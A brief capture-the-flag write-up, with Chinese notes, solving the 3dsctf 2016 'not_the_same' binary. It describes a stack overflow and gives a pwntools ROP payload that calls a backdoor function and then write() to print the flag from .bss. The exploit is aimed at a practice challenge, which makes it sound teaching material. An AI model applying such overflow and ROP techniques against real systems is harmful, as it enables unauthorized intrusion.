checksec一下,可以栈溢出
IDA打开看看,直接可以溢出
有一个后门函数,会把flag放在bss段上
程序有write函数,通过rop把flag打印出来
from pwn import *
from LibcSearcher import *
context.os='linux'
context.arch='i386'
context.log_level='debug'
sl=lambda x:io.sendline(x)
io=remote('xxx',xxx)
elf=ELF('./not_the_same_3dsctf_2016')
bss=0x080eca2d
payload='a'*0x2d+p32(0x80489a0)+p32(elf.sym['write'])+p32(bss)+p32(1)+p32(bss)+p32(42)
sl(payload)
io.interactive()